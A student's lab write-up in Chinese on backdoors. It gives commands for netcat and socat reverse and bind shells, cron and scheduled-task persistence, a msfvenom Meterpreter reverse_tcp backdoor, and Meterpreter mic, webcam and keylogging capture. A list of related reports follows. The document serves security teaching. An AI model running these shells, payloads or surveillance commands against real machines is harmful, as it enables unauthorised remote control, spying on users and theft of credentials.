20145317彭垚《网络对抗》Exp2 后门原理与实践
20145317彭垚《网络对抗》Exp2 后门原理与实践
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
- 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
- Linux下可以通过cron来启动。
- Meterpreter有哪些给你映像深刻的功能?
- 直接通过指令获取主机的摄像头有点6,有点像电影里的黑客;
- 获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
- 导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;。
- 如何发现自己有系统有没有被安装后门?
- 没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
常用后门工具实践
Windows获得Linux Shell
在Windows下,先使用
ipconfig指令查看本机IP:
使用
ncat.exe程序监听本机的5317端口:
在Kali环境下,使用
nc指令的-e选项反向连接Windows主机的5317端口:Windows下成功获得了一个Kali的shell,运行
ls指令如下:
Linux获得Windows Shell
过程与之前的类似,在Kali环境下用
ifconfig查看IP:
使用
nc指令监听5317端口:
在Windows下,使用
ncat.exe程序的-e选项项反向连接Kali主机的5317端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:

使用nc传输数据
Windows下监听
5317端口:
Kali下连接到Windows的
5317端口:
建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:


实验内容
使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听
5317端口:
在Kali环境下,使用
man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
用
crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:在最后一行添加18
* * * * /bin/netcat 192.168.1.110 5317 -e /bin/sh,意思是在每个小时的第18分钟反向连接Windows主机的5317端口:
当时间到了,此时已经获得了Kali的shell,可以输入指令:

使用socat获取主机操作Shell, 任务计划启动
基础知识
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

在操作->程序或脚本中选择你的
socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上:
创建完成之后,按
Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:此时,在Kali环境下输入指令
socat - tcp:192.168.1.110:5317,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=5317 -f exe > 20145317_backdoor.exe生成后门程序:
通过
nc指令将生成的后门程序传送到Windows主机上:
在Kali上使用
msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
设置完成后,执行监听:

打开Windows上的后门程序:
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用
record_mic指令可以截获一段音频:
使用
webcam_snap指令可以使用摄像头进行拍照:
使用
webcam stream指令可以使用摄像头进行录像:使用
screenshot指令可以进行截屏:使用
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
实验总结与体会
感觉这次实践比上次还有趣,尤其是后门被激活后,meterpreter的功能一经展示出来,简直被震惊。如果未开启防火墙,或防火墙不够高级,所谓监听、隐秘偷拍竟然是这么轻而易举的事情。
20145317彭垚《网络对抗》Exp2 后门原理与实践的更多相关文章
- 20155323刘威良 网络对抗 Exp2 后门原理与实践
20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...
- 20155331 丹增旦达 网络攻防 Exp2后门原理与实践
20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155302 Exp2 后门原理与实践
20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
随机推荐
- OpenJ_Bailian - 4152 最佳加法表达式 dp
http://bailian.openjudge.cn/practice/4152?lang=en_US 题解 :dp[i][j]代表前i个字符加j个加号可以得到的最小值,于是dp[i+k[j+1]可 ...
- SAPI
https://en.wikipedia.org/wiki/Server_Application_Programming_Interface In computing, Server Applicat ...
- 冒泡排序快速版(C)
冒泡排序C语言版:在每轮排序中检查时候有元素位置交换,如果无交换,说明数组元素已经有序,无需继续排序 #include <stdio.h> #include <stdlib.h> ...
- mysql 连接查询 join
本文用到的表 CREATE TABLE `cls` ( `cls_id` ) NOT NULL AUTO_INCREMENT, `name` ) NOT NULL, PRIMARY KEY (`cls ...
- [django]django的orm查询
实体 实体 出版社 category 作者 tag 书 文章 先学习一下基础的增删查改 django orm增删改查: https://www.cnblogs.com/iiiiiher/article ...
- [py]letcode第一题求和
letcode第一题, tm的不好弄. 想了很久想到了一个粗蠢的解决办法. Given an array of integers, return indices of the two numbers ...
- Hive学习笔记:基础语法
Hive基础语法 1.创建表 – 用户表 CREATE [EXTERNAL外部表] TABLE [IF NOT EXISTS 是否存在] HUserInfo ( userid int comment ...
- 机器学习理论基础学习4--- SVM(基于结构风险最小化)
一.什么是SVM? SVM(Support Vector Machine)又称为支持向量机,是一种二分类的模型.当然如果进行修改之后也是可以用于多类别问题的分类.支持向量机可以分为线性和非线性两大类. ...
- 使用Fiddler手机抓包https-----重要
Fiddler不仅可以对手机进行抓包,还可以抓取别的电脑的请求包,今天就想讲一讲使用Fiddler手机抓包! 使用Fiddler手机抓包有两个条件: 一:手机连的网络或WiFi必须和电脑(使用fidd ...
- AdaBoost Classifier和Regressor
Adaboost原理传送门 AdaBoost在我看理论课程的时候,以分类为例子来讲解的,谁知道sklearn里面基本上都有classifier和regressor两种.这个倒是我没想到的!!! fro ...
